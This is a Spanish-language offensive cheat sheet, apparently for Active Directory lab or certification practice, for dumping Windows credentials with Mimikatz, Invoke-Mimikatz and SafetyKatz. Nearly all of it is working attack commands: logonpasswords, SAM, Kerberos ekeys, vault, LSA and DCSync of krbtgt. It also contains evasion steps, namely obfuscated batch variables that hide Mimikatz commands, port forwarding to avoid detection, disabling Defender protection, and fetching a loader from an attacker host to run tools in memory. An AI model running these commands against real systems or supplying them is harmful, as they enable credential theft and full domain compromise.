[w0lff4ng@site]: ~/cheat-sheets$ ./info
File: /home/w0lff4ng/cheat-sheets/dump-credenciales-mimikatz
Access: (0644/-rw-r--r--) Uid: (1000/w0lff4ng) Gid: (100/users)
Modify: 2026-10-22
[w0lff4ng@site]: ~/cheat-sheets$ cd dump-credenciales-mimikatz/█

Volcado de credenciales con Mimikatz

techniquecredencialeswindows← índice
Advertencia

Varios volcados requieren privilegios elevados:

  • lsadump::sam y lsadump::lsa requieren Domain Admin sobre el DC.
  • lsadump::dcsync requiere permisos de replicación (DCSync).
Advertencia

Donde se indica, realizar el bypass de AMSI en la sesión remota antes de cargar Invoke-Mimikatz (el payload no se reproduce aquí).

logonpasswords

Crear una sesión en la máquina comprometida:

$sess = New-PSSession MACHINE

Ingresar a la sesión creada:

Enter-PSSession -Session $sess

Realizar el bypass de AMSI en la sesión remota.

Salir de la sesión remota:

exit

Copiar Invoke-Mimikatz en la sesión remota:

Invoke-Command -FilePath Invoke-Mimi.ps1 -Session $sess

Reingresar a la sesión remota:

Enter-PSSession -Session $sess

Volcar las credenciales en memoria:

Invoke-Mimi -Command '"sekurlsa::logonpasswords"'

SAM

Con permisos de Domain Admin, crear una sesión al DC:

$sess = New-PSSession DC_MACHINE_NAME

Ingresar a la sesión creada en el DC:

Enter-PSSession -Session $sess

Realizar el bypass de AMSI en la sesión remota.

Salir de la sesión remota:

exit

Copiar Invoke-Mimikatz en la sesión remota:

Invoke-Command -FilePath Invoke-Mimi.ps1 -Session $sess

Reingresar a la sesión remota:

Enter-PSSession -Session $sess

Volcar la SAM del DC:

Invoke-Mimi -Command '"token::elevate" "lsadump::sam"'

eKeys

Validar la ejecución de comandos:

winrs /r:<SERVER_NAME> cmd /c "set computername && set username"

Subir el Loader a la máquina pivote:

iwr http://<LOCAL_IP_ADDRESS>/Loader.exe -OutFile C:\Users\Public\Loader.exe

Copiar el Loader a la máquina con la sesión del DA:

echo F | xcopy C:\Users\Public\Loader.exe \\<SERVER_NAME>\C$\Users\Public\Loader.exe

Crear un port forwarding en el servidor con winrs (para evitar detecciones):

$null | winrs /r:<SERVER_NAME> "netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=<LOCAL_IP_ADDRESS>"

En el equipo local, codificar el argumento de SafetyKatz con ArgSplit:

ArgSplit.bat
sekurlsa::ekeys

Crear Safety.bat en el equipo local:

@echo off
set "z=s"
set "y=y"
set "x=e"
set "w=k"
set "v=e"
set "u=:"
set "t=:"
set "s=a"
set "r=s"
set "q=l"
set "p=r"
set "o=u"
set "n=k"
set "m=e"
set "l=s"
set "Pwn=%l%%m%%n%%o%%p%%q%%r%%s%%t%%u%%v%%w%%x%%y%%z%"
echo %Pwn%
C:\Users\Public\Loader.exe -path http://127.0.0.1:8080/SafetyKatz.exe -Args %Pwn% exit

Descargar el .bat en la máquina pivote:

iwr http://<LOCAL_IP_ADDRESS>/Safety.bat -OutFile C:\Users\Public\Safety.bat

Copiar el .bat a la máquina con la sesión del DA:

echo F | xcopy C:\Users\Public\Safety.bat \\<SERVER_NAME>\C$\Users\Public\Safety.bat

Ejecutar el .bat para cargar SafetyKatz en memoria y volcar las claves de cifrado Kerberos:

$null | winrs /r:<SERVER_NAME> "cmd /c C:\Users\Public\Safety.bat"

vault cred

Importar Invoke-Mimikatz en la sesión:

. .\Invoke-Mimi.ps1

Extraer las credenciales del vault:

Invoke-Mimi -Command '"token::elevate" "vault::cred /patch"'

LSA

Subir SafetyKatz a un servidor web en el equipo local.

Copiar el Loader al Domain Controller:

echo F | xcopy Loader.exe \\<SERVER_NAME>\C$\Users\Public\Loader.exe /Y

Ingresar al Domain Controller:

winrs /r:<SERVER_NAME> cmd

Crear un port forwarding en el DC con winrs:

$null | winrs /r:<SERVER_NAME> "netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=<LOCAL_IP_ADDRESS>"

Codificar e insertar lsadump::lsa en el DC:

set "z=a"
set "y=s"
set "x=l"
set "w=:"
set "v=:"
set "u=p"
set "t=m"
set "s=u"
set "r=d"
set "q=a"
set "p=s"
set "o=l"
set "Pwn=%o%%p%%q%%r%%s%%t%%u%%v%%w%%x%%y%%z%"

Ejecutar SafetyKatz (WinRM):

C:\Users\Public\Loader.exe -path http://127.0.0.1:8080/SafetyKatz.exe -args "%Pwn% /patch" "exit"

Alternativa (PowerShell Remoting + Invoke-Mimikatz) — deshabilitar AMSI en el servidor y ejecutar Invoke-Mimikatz:

$sess = New-PSSession -ComputerName <SERVER_NAME>.<DOMAIN>
Invoke-command -ScriptBlock{Set-MpPreference -DisableIOAVProtection $true} -Session $sess
Invoke-command -ScriptBlock ${function:Invoke-Mimi} -Session $sess

DCSync

Codificar e insertar lsadump::dcsync:

set "z=c"
set "y=n"
set "x=y"
set "w=s"
set "v=c"
set "u=d"
set "t=:"
set "s=:"
set "r=p"
set "q=m"
set "p=u"
set "o=d"
set "n=a"
set "m=s"
set "l=l"
set "Pwn=%l%%m%%n%%o%%p%%q%%r%%s%%t%%u%%v%%w%%x%%y%%z%"

Ejecutar SafetyKatz (WinRM):

Loader.exe -path SafetyKatz.exe -args "%Pwn% /user:<DOMAIN>\krbtgt" "exit"

Alternativa (Invoke-Mimikatz) — importar el script:

. .\Invoke-Mimi.ps1

Ejecutar DCSync con Invoke-Mimikatz:

Invoke-Mimi -Command '"lsadump::dcsync /user:dcorp\krbtgt"'